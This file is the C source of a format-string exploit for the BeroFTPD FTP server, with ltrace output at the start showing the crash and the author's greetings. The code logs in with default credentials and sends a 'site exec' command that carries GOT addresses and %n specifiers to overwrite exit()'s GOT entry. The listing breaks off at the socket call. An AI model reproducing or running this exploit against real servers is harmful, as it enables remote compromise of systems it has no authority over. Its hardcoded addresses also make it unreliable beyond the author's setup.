sprintf("/bin/ftp-exec/%n%n", "%s/%s", "/bin/ftp-exec", "%n%n") = 18 * 3763 getrlimit(7, 0xbfffa214, 0xbfffb34c, 0x0805731b, 0xbfffb7ac) = 0 * 3763 pipe(0xbfffa20c, 0xbfffa214, 0xbfffb34c, 0x0805731b, 0xbfffb7ac) = 0 * 3763 strtok("/bin/ftp-exec/%n%n", " \t\n") = "/bin/ftp-exec/%n%n" * 3763 strtok(NULL, " \t\n") = NULL * 3763 signal(17, NULL) = 0x00000001 * 3763 vfork(0xbfffb7ac, 0x08081118, 0x0808111d, 0, 0 * 3763 --- SIGCHLD (Child exited) --- * ... * ... * ... * 3763 sprintf("200-", "%03d%c", 200, '-') = 4 * 3763 vsnprintf( * 3763 --- SIGSEGV (Segmentation fault) --- * 3763 syslog(3, "exiting on signal %d", 11) = * 3763 chdir("/") = 0 * 3763 signal(6, NULL) = 0x0804b1d8 * 3763 signal(4, NULL) = 0x0804b1d8 * 3763 exit(1 * 3763 __deregister_frame_info(0x080688c4, 0x4000b8d9, 0x40015f64, 0x400168d0, 7) = 0x08068c20 * 3763 +++ exited (status 1) +++ * * Mhrau... * * This PoC check wheter this BeroFTPD version is vulnerability and in my machine overwrite * address for function exit() in GOT table by address 0xbffffa49 but in victims machine i don't * know what he overwrite ;-) * * Special greetz: appelast, MJINKS * Greetz: [greetz on my web] && other my friends (you know who you are) * * ...::: -=[ www.pi3.int.pl ]=- :::... */ #include #include #include #include #include #include #include #include #include #include #define EX_GOT 0x08048ab4 #define TRUE 1 #define FALSE 0 #define FAL_EX -1 #define BUFS 210 #define PORT 21 #define LOGN "ftp" #define PASS "daj@na.wino" #define SA struct sockaddr #define pi3 TRUE int vrfy(int mode, char *ans) { if (mode == 1) { if(!strncmp(ans, "331", 3)) return TRUE; else return FALSE; } if (mode == 2) { if(!strncmp(ans, "230", 3)) return TRUE; else return FALSE; } if (mode == 3) { if(!strncmp(ans, "200", 3)) return TRUE; else return FALSE; } if (mode == 4) { if(!strncmp(ans, "250", 3)) return TRUE; else return FALSE; } } void ussage(char *arg) { printf("\n\n\t...::: -=[ Exploit for BeroFTPD by pi3 (pi3ki31ny) ]=- :::...\n"); printf("\n\t\t[*] Ussage: %s [options]\n\n",arg); printf("\tOptions:\n\n"); printf("\t\t-v \n"); printf("\t\t-o [ port - standard -> 21 ]\n"); printf("\t\t-l [ login - standard -> ftp ]\n"); printf("\t\t-p [ password - standard -> daj@na.wino ]\n"); printf("\t\t-r [ ret addr to overwrite - standard -> 0x08048ab4 ]\n"); printf("\t\t-h This stupid help screen...\n\n\n"); exit(FAL_EX); } int main(int argc, char *argv[]) { char buf[500],line[100],tmp_buf[200],*login=LOGN,*pass=PASS,*victim=NULL; long inet,*buf_addr,tmp=0,ret=EX_GOT; int pid,sockfd,i,port=PORT,opt=FALSE,ret_vrfy=FALSE; struct sockaddr_in servaddr; struct hostent *h; if (argc<2) ussage(argv[FALSE]); while((opt = getopt(argc,argv,"v:o:l:p:rh")) != FAL_EX) { switch(opt) { case 'v': victim=optarg; if ( (h=gethostbyname((char*)optarg)) == NULL) { printf("Gethostbyname() field!\n"); exit(FAL_EX); } memcpy (&inet, h->h_addr, 4); break; case 'o': port=atoi(optarg); break; case 'l': login=optarg; break; case 'p': pass=optarg; break; case 'r': tmp=1; break; case 'h': default: ussage(argv[FALSE]); break; } } servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); servaddr.sin_addr.s_addr = htonl(INADDR_ANY); if (tmp==1) { printf("Podaj: 0x"); scanf("%x",&ret); } printf("ret = 0x%x\n",ret); bzero(buf,sizeof(buf)); strcpy(buf,"site exec AA"); buf_addr=(long*)&buf[12]; *(buf_addr++)=ret; *(buf_addr++)=ret+1; *(buf_addr++)=ret+2; *(buf_addr++)=ret+3; strcat(buf,"%276$57x%277$n%276$181x%278$n%276$257x%279$n%276$192x%280$n\n"); if ( (sockfd=socket(AF_INET,SOCK_STREAM,FALSE))